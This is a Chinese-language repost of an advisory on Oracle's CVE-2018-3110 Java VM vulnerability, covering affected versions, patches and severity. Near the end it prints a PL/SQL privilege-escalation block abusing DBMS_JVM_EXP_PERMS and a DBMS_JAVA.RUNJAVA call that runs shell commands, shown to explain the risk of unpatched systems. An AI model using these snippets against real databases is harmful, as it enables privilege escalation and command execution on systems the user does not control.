安全预警:独立发布的Oracle严重 CVE-2018-3110 公告
在 2018年8月10日,Oracle 独立的发送了一封"安全警告"邮件给所有的 Oracle 用户,这封邮件的标题是:Oracle Security Alert for CVE-2018-3110。这也是今年 Oracle 第一次独立针对一个 CVE 安全风险发布预警。
正常情况下,Oracle 每个季度发布一次安全补丁更新,今年的下一次发布应该在10月16日。所以针对 CVE-2018-3110 的预警就非常值得大家重视。
CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,CVE因此成为了安全信息共享的“关键字”。在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
预警的邮件内容如下:
影响范围和版本
CVE-2018-3110 影响范围是所有当前在支持的数据库版本,但是一部分版本已经在2018年7月的CPU中修订,所以如果此前应用了 7 月的CPU,则本次主要针对Windows 提出修订,还有主要是针对刚刚发布的 Oracle 18.3 版本的修正。
详细说明如下:
修正了Windows上版本11.2.0.4和12.2.0.1中的Oracle数据库漏洞。 CVE-2018-3110的CVSS v3基本分数为9.9,可能会导致Oracle数据库和对底层服务器的shell访问完全受损。
CVE-2018-3110还影响Windows上的12.1.0.2以及Linux和Unix上的Oracle数据库,但是这些版本和平台的补丁包含在2018年7月的CPU中。
如果您在Windows上运行Oracle数据库版本11.2.0.4和12.2.0.1,请应用下面指出的修补程序。 如果您在Windows或Linux或Unix上的任何版本的数据库上运行版本12.1.0.2并且尚未应用2018年7月的CPU,请执行此操作。
由于此漏洞的性质,Oracle强烈建议客户立即采取措施。
除了以上声明的版本,其他过期版本同样会受到影响,只是 Oracle 不再单独列出和提供独立的补丁而已。
严重程度
本次警告之所以独立发出,重点预警,是因为这个漏洞的危险性非常高,CVSS V3的评分高达 9.9 ,也就几乎是能够『完全控制系统』的安全威胁。
CVSS : Common Vulnerability Scoring System,即“通用漏洞评分系统”,是一个“行业公开标准,其被设计用来评测漏洞的严重程度,并帮助确定所需反应的紧急度和重要度”。 CVSS的目标是为所有软件安全漏洞提供一个严重程度的评级,这个评分系统把能够完全攻破操作系统层的已知安全漏洞评为基准分数10.0分。换句话说,CVSS基准分数为10.0分的安全漏洞一般指能够完全攻破系统的安全漏洞,典型的结果是攻击者完全控制一个系统,包括操作系统层的管理或者“根”权限。
当然这个漏洞是需要前提条件的,CVE-2018-3110 需要一个数据库用户,具备最基本的CREATE SESSION,也就是说能够创建会话,连接到数据库。然后,基于对于公共 JAVA 对象的访问,获得权限提升,直至全部控制数据库。
这个漏洞的组件是:Java VM。
在 2018年7月发布的CPU中,包含的 CVE-2018-3004 是和 3110 同源的漏洞,是在上一次实现攻击的基础上,有了进一步的简化攻击,从而其风险分值上升到 9.9 。
补丁列表
在 MOS 的以下文档,可以找到适用于各个版本的补丁:
Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文档 ID 2394520.1)。
针对 Oracle 18c ,也就是刚刚发布的 18.3 以及 12.2 的补丁列表如下,大家可以通过MOS找到适用于自己环境的补丁:
风险示例
很多客户可能会关心,如果不升级,到底会有多大的影响?
有些安全漏洞,需要特殊的权限,复杂的攻击注入方式,所以及时存在,重现不容易,威胁也就不大,例如2018年1月发布的安全补丁,其中一个漏洞已经存在了很久,以下连接中重现了 CVE-2017-10282 漏洞,其评分是 9.1 :
安全警报:Oracle 2018一月号安全补丁修复由来已久安全漏洞
而本次警示的 CVE-2018-3110 其评分是 9.9 ,需要的权限更少,更容易重现。
除非您能明确控制 Java VM 组件对象授权,并且能够确保每一个连接数据库的用户的身份和操作控制,否则强烈建议应用补丁,防范风险。
如果你不需要JAVA组件,建议在安装数据库时不要选择,否则就可能面临一系列的麻烦。在 Oracle 11.2.0.1 版本中,就曾经几度发生过注入漏洞。
这些麻烦多数是过度授权,将一些JAVA对象授权给 Public 执行权限,就导致了问题。例如 11.2.0.1 的 CPU 修正 9454036,其补丁脚本 jvm_exp.sql 的最后一段正是对于权限的回收,这个命令回收了 create session 用户也能执行 DBMS_JVM_EXP_PERMS 的问题:
begin
initjvmaux.exec(‘revoke execute on sys.dbms_jvm_exp_perms from PUBLIC’);
exception
when others then
if sqlcode not in (-01927, -06550, -06512) then raise; end if;
end;
/
关于 DBMS_JVM_EXP_PERMS 的执行权限的漏洞是,可以通过类似如下代码给自己授予JAVA的系统执行权限,就可以随时提权成为DBA了:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
此前 CPU 修订的另外一个漏洞则是和 DBMS_JAVA 的执行权限有关,通过这个Package的调用,可以随意执行系统命令,进一步提升权限:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/sh -c /usr/bin/id>/dev/shm/out') FROM DUAL;
这些方法都是在『DBA的暗世界』里广为流传的,如果您的数据库不能及时应用修正,又缺乏良好的权限控制,那么你的数据就早已经是明朗的天空了。
如果您还运行在低版本的数据库上,建议大家关注安全问题了。
原文发布时间为:2018-08-13
本文作者:盖国强

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
剑指offer例题分享--6
前言:继续整理例题,快速做完这部分,然后继续用C++去刷数据结构和算法的题。 面试题28: 代码如下: #include<iostream> #include<stdio.h> using namespace std; void Permutation(char *pStr,char *pBegin) { if(*pBegin == '\0') { printf("str:%s\n",pStr); } else { for(char *pCh=pBegin;*pCh!='\0';++pCh) { char temp = *pCh; *pCh = *pBegin; *pBegin = temp; Permutation(pStr,pBegin+1); temp = *pCh; *pCh = *pBegin; *pBegin = temp; } } } void Permutation(char *pStr) { if(pStr == NULL) return; Permutation(pStr,pStr); } int main() { char buf[32...
-
下一篇
(三)Java并发学习笔记--线程封闭
线程封闭 实现好的并发是一件困难的事情,所以很多时候我们都想躲避并发。避免并发最简单的方法就是线程封闭。什么是线程封闭呢? 就是把对象封装到一个线程里,只有这一个线程能看到此对象。那么这个对象就算不是线程安全的也不会出现任何安全问题。实现线程封闭有哪些方法呢? 1. ad-hoc线程封闭 这是完全靠实现者控制的线程封闭,他的线程封闭完全靠实现者实现。也是最糟糕的一种线程封闭。所以我们直接把他忽略掉吧。 2. 栈封闭 栈封闭是我们编程当中遇到的最多的线程封闭。什么是栈封闭呢?简单的说就是局部变量。多个线程访问一个方法,此方法中的局部变量都会被拷贝一分儿到线程栈中。所以局部变量是不被多个线程所共享的,也就不会出现并发问题。所以能用局部变量就别用全局的变量,全局变量容易引起并发问题。 3. ThreadLocal封闭 使用ThreadLocal是实现线程封闭的最好方法,有兴趣的朋友可以研究一下ThreadLocal的源码,其实ThreadLocal内部维护了一个Map,Map的key是每个线程的名称,而Map的值就是我们要封闭的对象。每个线程中的对象都对应着Map中一个值,也就是Thread...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker容器配置,解决镜像无法拉取问题
- CentOS7设置SWAP分区,小内存服务器的救世主
- CentOS8编译安装MySQL8.0.19
- MySQL数据库在高并发下的优化方案
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- Docker安装Oracle12C,快速搭建Oracle学习环境
- Dcoker安装(在线仓库),最新的服务器搭配容器使用